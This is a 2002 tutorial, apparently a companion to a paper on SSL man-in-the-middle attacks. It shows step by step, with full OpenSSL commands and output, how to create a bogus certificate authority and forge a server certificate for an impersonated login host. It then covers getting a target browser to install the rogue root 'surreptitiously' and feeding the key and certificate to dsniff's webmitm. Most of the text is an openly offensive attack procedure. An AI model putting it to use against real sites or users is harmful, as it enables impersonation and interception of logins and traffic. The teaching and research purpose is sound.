Roll your own CA

I'm working on a paper that describes SSL man-in-the-middle attacks. In it, I refer to running your own certificate authority (CA). Here, I sketch out that process. All examples are with OpenSSL 0.9.6 and Apache 1.3.19 on a GNU/Linux RedHat 7.2 i386 machine.

Here, we create a CA so we can (surreptiously) load the CA root certificate into a target browser. By creating a CA and loading its certificate onto our target, we can create server certificates for any server we wish to impersonate using SSL MITM attacks. This example shows me creating one for weblogin.wonderland.edu, but I can create one for www.passport.com and www.amazon.com if I care to.

Creating CA and Certificates

The Perl script ./misc/CA.pl comes with OpenSSL and manages a lot of common operations, but here I've only used it for creating the certificate authority. I used its code to crib the subsequent openssl command.

$ cd /usr/share/ssl
$ /usr/share/ssl/misc/CA.pl -newca
CA certificate filename (or enter to create)

Making CA certificate ...
Using configuration from /usr/share/ssl/openssl.cnf
Generating a 1024 bit RSA private key
..........++++++
...................++++++
writing new private key to './demoCA/private/cakey.pem'
Enter PEM pass phrase:12345
Verifying password - Enter PEM pass phrase:12345
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:Colorado
Locality Name (eg, city) []:Denver
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Bogus Certificates
Organizational Unit Name (eg, section) []:Certificate Verification
Common Name (eg, your name or your server's hostname) []:www.boguscert.com
Email Address []:secure@mail.boguscert.com

This creates, by default, the ./demoCA directory heirarchy. Within that, the file ./demoCA/cacert.pem is the new root certificate. I like to create a more memorable name for it:

$ ln ./demoCA/cacert.pem ./demoCA/BogusCertRoot.pem

Now, we make our request for the server we want to impersonate. In this case, weblogin.wonderland.edu. Note that -nodes in the next command mean "No DES", and leaves the service certificate private key unencrypted.

$ openssl req -new -keyout newreq.pem -out newreq.pem -days 365 -nodes
Using configuration from /usr/share/ssl/openssl.cnf
Generating a 1024 bit RSA private key
.++++++
...........++++++
writing new private key to 'newreq.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:Wonderland
Locality Name (eg, city) []:Emerald City
Organization Name (eg, company) [Internet Widgits Pty Ltd]:University of Wonderland
Organizational Unit Name (eg, section) []:Computing and Communications
Common Name (eg, your name or your server's hostname) []:weblogin.wonderland.edu
Email Address []:security@u.wonderland.edu

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Certificate request is ./newreq.pem. It needs to be signed by our CA:

$ openssl ca -policy policy_anything -out newcert.pem -infiles newreq.pem

Using configuration from /usr/share/ssl/openssl.cnf
Enter PEM pass phrase:12345
Check that the request matches the signature
Signature ok
The Subjects Distinguished Name is as follows
countryName           :PRINTABLE:'US'
stateOrProvinceName   :PRINTABLE:'Wonderland'
localityName          :PRINTABLE:'Emerald City'
organizationName      :PRINTABLE:'University of Wonderland'
organizationalUnitName:PRINTABLE:'Computing and Communications'
commonName            :PRINTABLE:'weblogin.wonderland.edu'
emailAddress          :IA5STRING:'security@u.wonderland.edu'
Certificate is to be certified until Feb  5 19:05:27 2003 GMT (365 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated

This has created ./newcert.pem. For use with webmitm, the certificate should just be the (unencrypted) private key and the server certificate:

$ awk '/BEGIN RSA PRIVATE KEY/,/END RSA PRIVATE KEY/' newreq.pem > webmitm.crt
$ awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' newcert.pem >>  webmitm.crt

Verifying Certificates

Some commands for reading these certificates and so on:

$ openssl x509 -in webmitm.crt -noout -text

Using the Trusted Root Certificate

In order for a client browser to trust the weblogin.washington.edu certicate you just created, you need to load the browser with the root certificate for BogusCert, the signing authority. Most browsers will start an installation dialogue automatically if the certificate is presented as "Content-Type: application/x-x509-ca-cert". So edit your Apache httpd.conf and add the line,

AddType application/x-x509-ca-cert .cacert
then restart Apache:
$ service httpd restart
Stopping httpd:                                            [  OK  ]
Starting httpd:                                            [  OK  ]
$ service httpd status
httpd (pid 2576 2575 2574 2573 2572 2571 2570 2569 2558) is running...

Now, put your CA certicate someplace accessible, and change the extension to .cacert so Apache will present it as the appropriate type:

$ cp ./demoCA/BogusCertRoot.pem /var/www/html/BogusCertRoot.cacert

Pointing your browser to http://www.myserver.com/BogusCertRoot.cacert will start the installation dialogue.

Using the server certificate

The weblogin.washington.edu certificate saved as webmitm.crt can now be copied to the DSNIFF machine and saved to the directory where you are running webmitm:

 
$ webmitm -dd
See my paper SSL Man-in-the-Middle Attacks on how to proceed.

Peter Burkholder: 05 February 2002 -- 12:03